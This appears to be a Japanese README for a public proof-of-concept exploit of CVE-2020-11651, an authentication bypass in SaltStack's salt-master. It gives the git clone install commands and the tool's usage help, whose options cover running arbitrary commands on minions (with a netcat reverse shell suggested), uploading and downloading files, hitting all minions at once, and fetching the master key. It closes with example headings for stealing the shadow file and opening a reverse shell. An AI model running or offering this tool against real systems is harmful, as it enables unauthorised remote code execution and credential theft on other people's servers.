CVE-2020-11651

SaltStack Salt の 2019.2.4 未満および 3000 の 3000.2 未満において問題が発見されました。salt-master プロセスの ClearFuncs クラスはメソッド呼び出しを適切に検証しません。これにより、リモートユーザーが認証なしで一部のメソッドにアクセスできるようになります。これらのメソッドを使用して、salt master からユーザートークンを取得したり、salt minion 上で任意のコマンドを実行したりできます。

詳細

サポートされていない salt バージョン向けのパッチ

インストール

git clone https://github.com/0xc0d/CVE-2020-11651.git ~/CVE-2020-11651
chmod +x ~/CVE-2020-11651/PoC.py

使用方法

$ ~/CVE-2020-11651/PoC.py -h
usage: PoC.py [-h] --host HOST [--port PORT] [--execute COMMAND] [--upload src dest] [--download src dest] [--minions] [--quiet] [--fetch-key-only]

CVE-2020-11651 PoC

optional arguments:
  -h, --help            show this help message and exit
  --host HOST, -t HOST
  --port PORT, -p PORT
  --execute COMMAND, -e COMMAND
                        実行するコマンド。デフォルト: /bin/sh（リバースシェルには netcat を使用）
  --upload src dest, -u src dest
                        ファイルをアップロード
  --download src dest, -d src dest
                        ファイルをダウンロード
  --minions             マスター上のすべての minion にコマンドを送信
  --quiet, -q           サイレントモードを有効化
  --fetch-key-only      キーのみを取得

CVE-2020-11651

人気

例

shadowファイルのダウンロード

リバースシェルの実行

キーの取得